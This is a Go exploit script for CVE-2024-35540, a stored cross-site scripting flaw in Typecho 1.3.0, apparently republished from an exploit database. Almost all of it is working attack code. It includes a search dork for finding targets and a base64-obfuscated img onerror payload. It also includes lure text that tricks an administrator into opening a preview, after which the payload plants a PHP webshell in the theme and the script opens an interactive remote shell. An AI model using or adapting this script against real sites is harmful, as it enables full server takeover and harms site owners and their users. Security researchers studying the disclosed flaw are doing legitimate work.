Share
## https://sploitus.com/exploit?id=PACKETSTORM:190397
// Exploit Title: Typecho <= 1.3.0 Stored Cross-Site Scripting (XSS)
    // Google Dork: intext:"Powered by Typecho" inurl:/index.php
    // Date: 18/08/2024
    // Exploit Author: Michele 'cyberaz0r' Di Bonaventura
    // Vendor Homepage: https://typecho.org
    // Software Link: https://github.com/typecho/typecho
    // Version: 1.3.0
    // Tested on: Typecho 1.3.0 Docker Image with PHP 7.4 (https://hub.docker.com/r/joyqi/typecho)
    // CVE: CVE-2024-35540
    
    // For more information, visit the blog post: https://cyberaz0r.info/2024/08/typecho-multiple-vulnerabilities/
    
    package main
    
    import (
    	"bufio"
    	"bytes"
    	"crypto/rand"
    	"crypto/sha256"
    	"encoding/base64"
    	"fmt"
    	"net/http"
    	"net/url"
    	"os"
    	"strings"
    	"time"
    )
    
    var (
    	postTitle string       = "Reflected XSS PoC"
    	postText  string       = "Hey admin! Look at the draft of this blog post, can I publish it?"
    	userAgent string       = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
    	client    *http.Client = &http.Client{
    		CheckRedirect: func(req *http.Request, via []*http.Request) error {
    			return http.ErrUseLastResponse
    		},
    	}
    )
    
    func getEditUrl(u string, cookies string) string {
    	req, err := http.NewRequest("GET", u+"/admin/write-post.php", nil)
    	if err != nil {
    		fmt.Println("[X] Error creating initial request:", err)
    		return ""
    	}
    
    	req.Header.Set("Cookie", cookies)
    	req.Header.Set("User-Agent", userAgent)
    
    	resp, err := client.Do(req)
    	if err != nil {
    		fmt.Println("[X] Error sending initial request:", err)
    		return ""
    	}
    
    	buf := new(bytes.Buffer)
    	buf.ReadFrom(resp.Body)
    	body := buf.String()
    
    	if !strings.Contains(body, "<form action=\"") {
    		fmt.Println("[X] Error finding post edit URL")
    		return ""
    	}
    
    	editUrl := strings.Split(body, "<form action=\"")[1]
    	editUrl = strings.Split(editUrl, "\"")[0]
    
    	return editUrl
    }
    
    func generateRandomBytes() string {
    	bytes := make([]byte, 64)
    	rand.Read(bytes)
    	return fmt.Sprintf("%x", sha256.Sum256(bytes))
    }
    
    func getJsCode(password string) string {
    	phpPayload := `
    		header("X-Random-Token: " . md5(uniqid()));
    		if (isset($_POST["CSRFToken"]) && $_POST["CSRFToken"] === "%s") {
    			if (isset($_POST["action"])) {
    				system($_POST["action"]);
    				exit;
    			}
    		}
    	`
    	phpPayload = fmt.Sprintf(phpPayload, password)
    	jsPayload := `
    		var i = document.createElement('iframe');
    		i.src = location.protocol+'//'+location.host+'/admin/theme-editor.php';
    		i.style.display = 'none';
    		document.body.appendChild(i);
    
    		setTimeout(() => {
    			var textarea = i.contentWindow.document.getElementById('content');
    			if (textarea.value.includes(payload))
    				return;
    
    			textarea.value = textarea.value.replace(/<\?php/, '<?php ' + payload);
    
    			var form = i.contentWindow.document.getElementById('theme').submit();
    		}, 200);
    	`
    	return fmt.Sprintf("var payload = `%s`;\n%s", phpPayload, jsPayload)
    }
    
    func generatePayload(jsCode string) string {
    	remainder := len(jsCode) % 3
    	if remainder != 0 {
    		jsCode += strings.Repeat(" ", 3-remainder)
    	}
    	jsCodeEncoded := base64.StdEncoding.EncodeToString([]byte(jsCode))
    	return fmt.Sprintf("[<img style=\"display:none\" src=x onerror=\"eval(atob('%s'))\">][1]\n[1]: https://google.com", jsCodeEncoded)
    }
    
    func createPost(u string, cookies string, payload string) string {
    	formData := url.Values{}
    	formData.Set("title", postTitle)
    	formData.Set("text", payload+"\n"+postText)
    	formData.Set("do", "save")
    	formData.Set("markdown", "1")
    	formData.Set("category%5B%5D", "1")
    	formData.Set("allowComment", "1")
    	formData.Set("allowPing", "1")
    	formData.Set("allowFeed", "1")
    	formData.Set("dst", "60")
    	formData.Set("timezone", "7200")
    
    	req, err := http.NewRequest("POST", u, strings.NewReader(formData.Encode()))
    	if err != nil {
    		fmt.Println("[X] Error creating malicious post creation request:", err)
    		return ""
    	}
    
    	req.Header.Set("Cookie", cookies)
    	req.Header.Set("User-Agent", userAgent)
    	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
    	req.Header.Set("Content-Length", fmt.Sprint(len(formData.Encode())))
    	req.Header.Set("Referer", strings.Replace(strings.Split(u, ".php")[0], "index", "admin/write-post.php", 1))
    
    	resp, err := client.Do(req)
    	if err != nil {
    		fmt.Println("[X] Error sending malicious post creation request:", err)
    		return ""
    	}
    
    	defer resp.Body.Close()
    	return resp.Header.Get("Location")
    }
    
    func checkInjected(u string) bool {
    	req, err := http.NewRequest("HEAD", u, nil)
    	if err != nil {
    		return false
    	}
    
    	req.Header.Set("User-Agent", userAgent)
    
    	resp, err := client.Do(req)
    	if err != nil {
    		return false
    	}
    
    	return resp.Header.Get("X-Random-Token") != ""
    }
    
    func readInput() string {
    	scanner := bufio.NewScanner(os.Stdin)
    	if scanner.Scan() {
    		return scanner.Text()
    	}
    	return ""
    }
    
    func interactiveShell(u string, password string) {
    	for {
    		fmt.Print("$ ")
    		cmd := readInput()
    
    		formData := url.Values{}
    		formData.Set("CSRFToken", password)
    		formData.Set("action", cmd)
    
    		req, err := http.NewRequest("POST", u, strings.NewReader(formData.Encode()))
    		if err != nil {
    			fmt.Println("[X] Error creating shell request:", err)
    			continue
    		}
    
    		req.Header.Set("User-Agent", userAgent)
    		req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
    		req.Header.Set("Content-Length", fmt.Sprint(len(formData.Encode())))
    
    		resp, err := client.Do(req)
    		if err != nil {
    			fmt.Println("[X] Error sending shell request:", err)
    			continue
    		}
    
    		buf := new(bytes.Buffer)
    		buf.ReadFrom(resp.Body)
    		body := buf.String()
    
    		fmt.Println(body)
    	}
    }
    
    func main() {
    	if len(os.Args) != 3 {
    		fmt.Println("Usage: go run CVE-2024-35540.go <URL> <COOKIE_HEADER_VALUE>")
    		os.Exit(1)
    	}
    
    	fmt.Println("[+] Starting Typecho <= 1.3.0 Stored XSS exploit (CVE-2024-35540) by cyberaz0r")
    
    	targetUrl := os.Args[1]
    	cookies := os.Args[2]
    
    	fmt.Println("[*] Getting post edit URL with CSRF token...")
    	editUrl := getEditUrl(targetUrl, cookies)
    	if editUrl == "" {
    		fmt.Println("[-] Could not get post edit URL, exiting...")
    		return
    	}
    
    	fmt.Println("[+] Edit URL:", editUrl)
    
    	password := generateRandomBytes()
    	fmt.Println("[+] Generated password to access the webshell: ", password)
    
    	fmt.Println("[*] Generating JavaScript code to inject webshell...")
    	jsCode := getJsCode(password)
    	payload := generatePayload(jsCode)
    
    	fmt.Println("[*] Creating malicious post...")
    	postUrl := createPost(editUrl, cookies, payload)
    	if postUrl == "" || postUrl == "/" {
    		fmt.Println("[-] Could not create malicious post, exiting...")
    		return
    	}
    
    	previewUrl := strings.Replace(postUrl, "write-post.php", "preview.php", 1)
    	fmt.Println("[+] Malicious post created successfully!")
    	fmt.Println("[i] Send this preview URL to the admin to trigger the XSS:\n" + previewUrl)
    
    	fmt.Println("[*] Waiting for the admin to visit the preview URL...")
    	for !checkInjected(targetUrl) {
    		time.Sleep(1 * time.Second)
    	}
    
    	fmt.Println("[+] Webshell injected successfully!")
    	fmt.Println("[+] Enjoy your shell ;)\n")
    	interactiveShell(targetUrl, password)
    }